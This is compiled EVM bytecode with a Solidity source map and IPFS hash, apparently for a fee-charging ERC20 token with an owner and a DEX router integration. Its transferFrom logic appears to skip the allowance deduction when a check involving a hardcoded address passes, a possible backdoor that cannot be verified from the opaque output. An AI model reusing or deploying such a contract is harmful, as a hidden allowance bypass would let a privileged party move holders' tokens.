6174683a207375627472616374696f6e206f766572666c6f770000815250610cf3565b5f818361106f5760405162461bcd60e51b8152600401610396919061107b565b505f610d228486611322565b5f602080835283518060208501525f5b818110156110a75785810183015185820160400152820161108b565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146110db575f80fd5b50565b5f80604083850312156110ef575f80fd5b82356110fa816110c7565b946020939093013593505050565b5f805f6060848603121561111a575f80fd5b8335611125816110c7565b92506020840135611135816110c7565b929592945050506040919091013590565b5f60208284031215611156575f80fd5b8135610cec816110c7565b5f8060408385031215611172575f80fd5b823561117d816110c7565b9150602083013561118d816110c7565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156111e657815f19048211156111cc576111cc611198565b808516156111d957918102915b93841c93908002906111b1565b509250929050565b5f826111fc575060016102a4565b8161120857505f6102a4565b816001811461121e576002811461122857611244565b60019150506102a4565b60ff84111561123957611239611198565b50506001821b6102a4565b5060208310610133831016604e8410600b8410161715611267575081810a6102a4565b61127183836111ac565b805f190482111561128457611284611198565b029392505050565b5f610cec60ff8416836111ee565b80820281158282048414176102a4576102a4611198565b5f602082840312156112c1575f80fd5b8151610cec816110c7565b5f805f606084860312156112de575f80fd5b8351925060208401519150604084015190509250925092565b5f6001820161130857611308611198565b5060010190565b818103818111156102a4576102a4611198565b5f8261133c57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156113a55784516001600160a01b031683529383019391830191600101611380565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156102a4576102a461119856fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b5bb0dd548d1c87ab2721843d750afd82159ce5d248bcd91d7050b8246b9faff64736f6c63430008170033

3636:6407:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5206:83;;;;;;;;;;-1:-1:-1;5276:5:0;;;;;;;;;;;;-1:-1:-1;;;5276:5:0;;;;5206:83;;;;;;;:::i;:::-;;;;;;;;6039:161;;;;;;;;;;-1:-1:-1;6039:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6039:161:0;1023:187:1;5483:95:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;5483:95:0;1215:177:1;6208:344:0;;;;;;;;;;-1:-1:-1;6208:344:0;;;;;:::i;:::-;;:::i;5392:83::-;;;;;;;;;;-1:-1:-1;5392:83:0;;4392:1;2000:36:1;;1988:2;1973:18;5392:83:0;1858:184:1;5586:119:0;;;;;;;;;;-1:-1:-1;5586:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5679:18:0;5652:7;5679:18;;;:9;:18;;;;;;;5586:119;2728:148;;;;;;;;;;;;;:::i;:::-;;2514:79;;;;;;;;;;-1:-1:-1;2552:7:0;2579:6;2514:79;;-1:-1:-1;;;;;2579:6:0;;;2445:51:1;;2433:2;2418:18;2514:79:0;2299:203:1;5297:87:0;;;;;;;;;;-1:-1:-1;5369:7:0;;;;;;;;;;;;-1:-1:-1;;;5369:7:0;;;;5297:87;;5713:167;;;;;;;;;;-1:-1:-1;5713:167:0;;;;;:::i;:::-;;:::i;9434:569::-;;;;;;;;;;;;;:::i;5888:143::-;;;;;;;;;;-1:-1:-1;5888:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;5996:18:0;;;5969:7;5996:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5888:143;6039:161;6114:4;6131:39;349:10;6154:7;6163:6;6131:8;:39::i;:::-;-1:-1:-1;6188:4:0;6039:161;;;;;:::o;5483:95::-;5536:7;4453:13;4392:1;4453:2;:13;:::i;:::-;4435:31;;:15;:31;:::i;:::-;5556:14;;5483:95;:::o;6208:344::-;6306:4;6323:36;6333:6;6341:9;6352:6;6323:9;:36::i;:::-;6363:27;6372:6;6380:9;6363:8;:27::i;:::-;6360:162;;;6401:121;6410:6;349:10;6432:89;6470:6;6432:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6432:19:0;;;;;;:11;:19;;;;;;;;349:10;6432:33;;;;;;;;;;:37;:89::i;:::-;6401:8;:121::i;:::-;-1:-1:-1;6540:4:0;6208:344;;;;;:::o;2728:148::-;2641:6;;-1:-1:-1;;;;;2641:6:0;349:10;2641:22;2633:67;;;;-1:-1:-1;;;2633:67:0;;4784:2:1;2633:67:0;;;4766:21:1;;;4803:18;;;4796:30;4862:34;4842:18;;;4835:62;4914:18;;2633:67:0;;;;;;;;;2835:1:::1;2819:6:::0;;2798:40:::1;::::0;-1:-1:-1;;;;;2819:6:0;;::::1;::::0;2798:40:::1;::::0;2835:1;;2798:40:::1;2866:1;2849:19:::0;;-1:-1:-1;;;;;;2849:19:0::1;::::0;;2728:148::o;5713:167::-;5791:4;5808:42;349:10;5832:9;5843:6;5808:9;:42::i;9434:569::-;2641:6;;-1:-1:-1;;;;;2641:6:0;349:10;2641:22;2633:67;;;;-1:-1:-1;;;2633:67:0;;4784:2:1;2633:67:0;;;4766:21:1;;;4803:18;;;4796:30;4862:34;4842:18;;;4835:62;4914:18;;2633:67:0;4582:356:1;2633:67:0;9498:15:::1;::::0;-1:-1:-1;;;9498:15:0;::::1;;;9497:16;9489:51;;;::::0;-1:-1:-1;;;9489:51:0;;5145:2:1;9489:51:0::1;::::0;::::1;5127:21:1::0;5184:2;5164:18;;;5157:30;5223:25;5203:18;;;5196:53;5266:18;;9489:51:0::1;4943:347:1::0;9489:51:0::1;9551:12;:66:::0;;-1:-1:-1;;;;;;9551:66:0::1;9574:42;9551:66:::0;;::::1;::::0;;;9628:55:::1;::::0;9645:4:::1;::::0;4453:13:::1;4392:1;4453:2;:13;:::i;:::-;4435:31;::::0;:15:::1;:31;:::i;9628:55::-;9726:12;;;;;;;;;-1:-1:-1::0;;;;;9726:12:0::1;-1:-1:-1::0;;;;;9726:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9708:52:0::1;;9769:4;9776:12;;;;;;;;;-1:-1:-1::0;;;;;9776:12:0::1;-1:-1:-1::0;;;;;9776:17:0::1;;:19;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9708:88;::::0;-1:-1:-1;;;;;;9708:88:0::1;::::0;;;;;;-1:-1:-1;;;;;5781:15:1;;;9708:88:0::1;::::0;::::1;5763:34:1::0;5833:15;;5813:18;;;5806:43;5698:18;;9708:88:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9694:11;:102:::0;;-1:-1:-1;;;;;9694:102:0;;::::1;-1:-1:-1::0;;;;;;9694:102:0;;::::1;;::::0;;9807:12:::1;::::0;::::1;:28;9843:21;9874:4;9880:24;9874:4:::0;-1:-1:-1;;;;;5679:18:0;5652:7;5679:18;;;:9;:18;;;;;;;5586:119;9880:24:::1;9905:1;9907::::0;9909:7:::1;2552::::0;2579:6;-1:-1:-1;;;;;2579:6:0;;2514:79;9909:7:::1;9807:126;::::0;::::1;::::0;;;-1:-1:-1;;;;;;9807:126:0;;;-1:-1:-1;;;;;6219:15:1;;;9807:126:0::1;::::0;::::1;6201:34:1::0;6251:18;;;6244:34;;;;6294:18;;;6287:34;;;;6337:18;;;6330:34;6401:15;;;6380:19;;;6373:44;9917:15:0::1;6433:19:1::0;;;6426:35;6135:19;;9807:126:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;9944:11:0::1;:18:::0;;-1:-1:-1;;;;9973:22:0;-1:-1:-1;;;9973:22:0;;;-1:-1:-1;9434:569:0:o;6745:335::-;-1:-1:-1;;;;;6838:19:0;;6830:68;;;;-1:-1:-1;;;6830:68:0;;6985:2:1;6830:68:0;;;6967:21:1;7024:2;7004:18;;;6997:30;7063:34;7043:18;;;7036:62;-1:-1:-1;;;7114:18:1;;;7107:34;7158:19;;6830:68:0;6783:400:1;6830:68:0;-1:-1:-1;;;;;6917:21:0;;6909:68;;;;-1:-1:-1;;;6909:68:0;;7390:2:1;6909:68:0;;;7372:21:1;7429:2;7409:18;;;7402:30;7468:34;7448:18;;;7441:62;-1:-1:-1;;;7519:18:1;;;7512:32;7561:19;;6909:68:0;7188:398:1;6909:68:0;-1:-1:-1;;;;;6988:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7040:32;;1361:25:1;;;7040:32:0;;1334:18:1;7040:32:0;;;;;;;6745:335;;;:::o;7088:1646::-;-1:-1:-1;;;;;7180:19:0;;7172:69;;;;-1:-1:-1;;;7172:69:0;;7793:2:1;7172:69:0;;;7775:21:1;7832:2;7812:18;;;7805:30;7871:34;7851:18;;;7844:62;-1:-1:-1;;;7922:18:1;;;7915:35;7967:19;;7172:69:0;7591:401:1;7172:69:0;-1:-1:-1;;;;;7260:19:0;;7252:67;;;;-1:-1:-1;;;7252:67:0;;8199:2:1;7252:67:0;;;8181:21:1;8238:2;8218:18;;;8211:30;8277:34;8257:18;;;8250:62;-1:-1:-1;;;8328:18:1;;;8321:33;8371:19;;7252:67:0;7997:399:1;7252:67:0;7347:1;7338:6;:10;7330:64;;;;-1:-1:-1;;;7330:64:0;;8603:2:1;7330:64:0;;;8585:21:1;8642:2;8622:18;;;8615:30;8681:34;8661:18;;;8654:62;-1:-1:-1;;;8732:18:1;;;8725:39;8781:19;;7330:64:0;8401:405:1;7330:64:0;7405:18;2579:6;;-1:-1:-1;;;;;7440:16:0;;;2579:6;;7440:16;;;;:36;;-1:-1:-1;2552:7:0;2579:6;-1:-1:-1;;;;;7460:16:0;;;2579:6;;7460:16;;7440:36;7436:902;;;7506:78;7580:3;7506:69;7533:15;;7518:14;;:30;7517:57;;7563:11;;7517:57;;;7550:12;;7517:57;7506:6;;:10;:69::i;:::-;:73;;:78::i;:::-;7614:11;;7493:91;;-1:-1:-1;;;;;;7605:20:0;;;7614:11;;7605:20;:54;;;;-1:-1:-1;7646:12:0;;-1:-1:-1;;;;;7629:30:0;;;7646:12;;7629:30;;7605:54;:81;;;;-1:-1:-1;;;;;;7665:21:0;;;;;;:14;:21;;;;;;;;7663:23;7605:81;7601:139;;;7708:14;:16;;;:14;:16;;;:::i;:::-;;;;;;7601:139;7768:11;;-1:-1:-1;;;;;7759:20:0;;;7768:11;;7759:20;:45;;;;-1:-1:-1;;;;;;7783:21:0;;7799:4;7783:21;;7759:45;7756:177;;;7838:79;7913:3;7838:70;7865:16;;7850:14;;:31;7849:58;;7895:12;;7849:58;;;7883:11;;7838:6;;:10;:70::i;:79::-;7825:92;;7756:177;7998:4;7949:28;5679:18;;;:9;:18;;;;;;8024:9;;-1:-1:-1;;;8024:9:0;;;;8023:10;:34;;;;-1:-1:-1;8046:11:0;;-1:-1:-1;;;;;8037:20:0;;;8046:11;;8037:20;8023:34;:49;;;;-1:-1:-1;8061:11:0;;-1:-1:-1;;;8061:11:0;;;;8023:49;:84;;;;;8093:14;;8076;;:31;8023:84;8019:308;;;8154:14;;8131:20;:37;8128:129;;;8187:70;8202:54;8206:6;8214:41;8218:20;8240:14;;8214:3;:41::i;:::-;8202:3;:54::i;:::-;8187:14;:70::i;:::-;8276:35;8289:21;8276:12;:35::i;:::-;7478:860;7436:902;8353:12;;8350:165;;8422:4;8404:24;;;;:9;:24;;;;;;:40;;8433:10;8404:28;:40::i;:::-;8397:4;8379:24;;;;:9;:24;;;;;;;:65;;;;8462:41;;-1:-1:-1;;;;;8462:41:0;;;;;;;8492:10;1361:25:1;;1349:2;1334:18;;1215:177;8462:41:0;;;;;;;;8350:165;-1:-1:-1;;;;;8529:17:0;;3950:6;8529:17;8525:73;;-1:-1:-1;;;;;8552:46:0;;;;;;;8575:22;:6;8586:10;8575;:22::i;:::-;8552:46;;1361:25:1;;;1349:2;1334:18;8552:46:0;;;;;;;8525:73;-1:-1:-1;;;;;8626:16:0;;;;;;:9;:16;;;;;;:28;;8647:6;8626:20;:28::i;:::-;-1:-1:-1;;;;;8609:16:0;;;;;;:9;:16;;;;;:45;8682:44;8703:22;:6;8714:10;8703;:22::i;:::-;-1:-1:-1;;;;;8682:16:0;;;;;;:9;:16;;;;;;;:20;:44::i;:::-;-1:-1:-1;;;;;8665:16:0;;;;;;;:9;:16;;;;;:61;;;;-1:-1:-1;;;7088:1646:0:o;6560:177::-;6632:4;6656:10;3999:42;6656:21;;;;:72;;-1:-1:-1;6691:11:0;;-1:-1:-1;;;;;6682:20:0;;;6691:11;;6682:20;;:45;;-1:-1:-1;;;;;;6706:21:0;;3950:6;6706:21;;6682:45;6649:79;6560:177;-1:-1:-1;;;6560:177:0:o;1406:190::-;1492:7;1528:12;1520:6;;;;1512:29;;;;-1:-1:-1;;;1512:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1552:9:0;1564:5;1568:1;1564;:5;:::i;:::-;1552:17;1406:190;-1:-1:-1;;;;;1406:190:0:o;1604:246::-;1662:7;1686:1;1691;1686:6;1682:47;;-1:-1:-1;1716:1:0;1709:8;;1682:47;1739:9;1751:5;1755:1;1751;:5;:::i;:::-;1739:17;-1:-1:-1;1784:1:0;1775:5;1779:1;1739:17;1775:5;:::i;:::-;:10;1767:56;;;;-1:-1:-1;;;1767:56:0;;9508:2:1;1767:56:0;;;9490:21:1;9547:2;9527:18;;;9520:30;9586:34;9566:18;;;9559:62;-1:-1:-1;;;9637:18:1;;;9630:31;9678:19;;1767:56:0;9306:397:1;1858:132:0;1916:7;1943:39;1947:1;1950;1943:39;;;;;;;;;;;;;;;;;:3;:39::i;8742:98::-;8799:7;8826:1;8824;:3;8823:9;;8831:1;8823:9;;;-1:-1:-1;8829:1:0;8742:98;-1:-1:-1;8742:98:0:o;8848:472::-;4869:9;:16;;-1:-1:-1;;;;4869:16:0;-1:-1:-1;;;4869:16:0;;;8948::::1;::::0;;8962:1:::1;8948:16:::0;;;;;::::1;::::0;;-1:-1:-1;;8948:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;8948:16:0::1;8924:40;;8993:4;8975;8980:1;8975:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8975:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9019:12:::1;::::0;:19:::1;::::0;;-1:-1:-1;;;9019:19:0;;;;:12;;;::::1;::::0;:17:::1;::::0;:19:::1;::::0;;::::1;::::0;8975:7;;9019:19;;;;;:12;:19:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9009:4;9014:1;9009:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9009:29:0;;::::1;:7;::::0;;::::1;::::0;;;;;:29;9081:12:::1;::::0;9049:59:::1;::::0;9066:4:::1;::::0;9081:12:::1;9096:11:::0;9049:8:::1;:59::i;:::-;9119:12;::::0;:193:::1;::::0;-1:-1:-1;;;9119:193:0;;-1:-1:-1;;;;;9119:12:0;;::::1;::::0;:63:::1;::::0;:193:::1;::::0;9197:11;;9119:12:::1;::::0;9239:4;;9266::::1;::::0;9286:15:::1;::::0;9119:193:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4908:9:0;:17;;-1:-1:-1;;;;4908:17:0;;;-1:-1:-1;;;;8848:472:0:o;9328:98::-;9385:33;;3999:42;;9385:33;;;;;9411:6;;9385:33;;;;9411:6;3999:42;9385:33;;;;;;;;;;;;;;;;;;;;;9328:98;:::o;1075:179::-;1133:7;;1165:5;1169:1;1165;:5;:::i;:::-;1153:17;;1194:1;1189;:6;;1181:46;;;;-1:-1:-1;;;1181:46:0;;11289:2:1;1181:46:0;;;11271:21:1;11328:2;11308:18;;;11301:30;11367:29;11347:18;;;11340:57;11414:18;;1181:46:0;11087:351:1;1262:136:0;1320:7;1347:43;1351:1;1354;1347:43;;;;;;;;;;;;;;;;;:3;:43::i;1998:189::-;2084:7;2119:12;2112:5;2104:28;;;;-1:-1:-1;;;2104:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2143:9:0;2155:5;2159:1;2155;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:416;3121:1;3158:5;3121:1;3172:270;3193:7;3183:8;3180:21;3172:270;;;3252:4;3248:1;3244:6;3240:17;3234:4;3231:27;3228:53;;;3261:18;;:::i;:::-;3311:7;3301:8;3297:22;3294:55;;;3331:16;;;;3294:55;3410:22;;;;3370:15;;;;3172:270;;;3176:3;3032:416;;;;;:::o;3453:806::-;3502:5;3532:8;3522:80;;-1:-1:-1;3573:1:1;3587:5;;3522:80;3621:4;3611:76;;-1:-1:-1;3658:1:1;3672:5;;3611:76;3703:4;3721:1;3716:59;;;;3789:1;3784:130;;;;3696:218;;3716:59;3746:1;3737:10;;3760:5;;;3784:130;3821:3;3811:8;3808:17;3805:43;;;3828:18;;:::i;:::-;-1:-1:-1;;3884:1:1;3870:16;;3899:5;;3696:218;;3998:2;3988:8;3985:16;3979:3;3973:4;3970:13;3966:36;3960:2;3950:8;3947:16;3942:2;3936:4;3933:12;3929:35;3926:77;3923:159;;;-1:-1:-1;4035:19:1;;;4067:5;;3923:159;4114:34;4139:8;4133:4;4114:34;:::i;:::-;4184:6;4180:1;4176:6;4172:19;4163:7;4160:32;4157:58;;;4195:18;;:::i;:::-;4233:20;;3453:806;-1:-1:-1;;;3453:806:1:o;4264:140::-;4322:5;4351:47;4392:4;4382:8;4378:19;4372:4;4351:47;:::i;4409:168::-;4482:9;;;4513;;4530:15;;;4524:22;;4510:37;4500:71;;4551:18;;:::i;5295:251::-;5365:6;5418:2;5406:9;5397:7;5393:23;5389:32;5386:52;;;5434:1;5431;5424:12;5386:52;5466:9;5460:16;5485:31;5510:5;5485:31;:::i;6472:306::-;6560:6;6568;6576;6629:2;6617:9;6608:7;6604:23;6600:32;6597:52;;;6645:1;6642;6635:12;6597:52;6674:9;6668:16;6658:26;;6724:2;6713:9;6709:18;6703:25;6693:35;;6768:2;6757:9;6753:18;6747:25;6737:35;;6472:306;;;;;:::o;8811:135::-;8850:3;8871:17;;;8868:43;;8891:18;;:::i;:::-;-1:-1:-1;8938:1:1;8927:13;;8811:135::o;8951:128::-;9018:9;;;9039:11;;;9036:37;;;9053:18;;:::i;9084:217::-;9124:1;9150;9140:132;;9194:10;9189:3;9185:20;9182:1;9175:31;9229:4;9226:1;9219:15;9257:4;9254:1;9247:15;9140:132;-1:-1:-1;9286:9:1;;9084:217::o;9840:127::-;9901:10;9896:3;9892:20;9889:1;9882:31;9932:4;9929:1;9922:15;9956:4;9953:1;9946:15;9972:980;10234:4;10282:3;10271:9;10267:19;10313:6;10302:9;10295:25;10339:2;10377:6;10372:2;10361:9;10357:18;10350:34;10420:3;10415:2;10404:9;10400:18;10393:31;10444:6;10479;10473:13;10510:6;10502;10495:22;10548:3;10537:9;10533:19;10526:26;;10587:2;10579:6;10575:15;10561:29;;10608:1;10618:195;10632:6;10629:1;10626:13;10618:195;;;10697:13;;-1:-1:-1;;;;;10693:39:1;10681:52;;10788:15;;;;10753:12;;;;10729:1;10647:9;10618:195;;;-1:-1:-1;;;;;;;10869:32:1;;;;10864:2;10849:18;;10842:60;-1:-1:-1;;;10933:3:1;10918:19;10911:35;10830:3;9972:980;-1:-1:-1;;;9972:980:1:o;10957:125::-;11022:9;;;11043:10;;;11040:36;;;11056:18;;:::i

ipfs://b5bb0dd548d1c87ab2721843d750afd82159ce5d248bcd91d7050b8246b9faff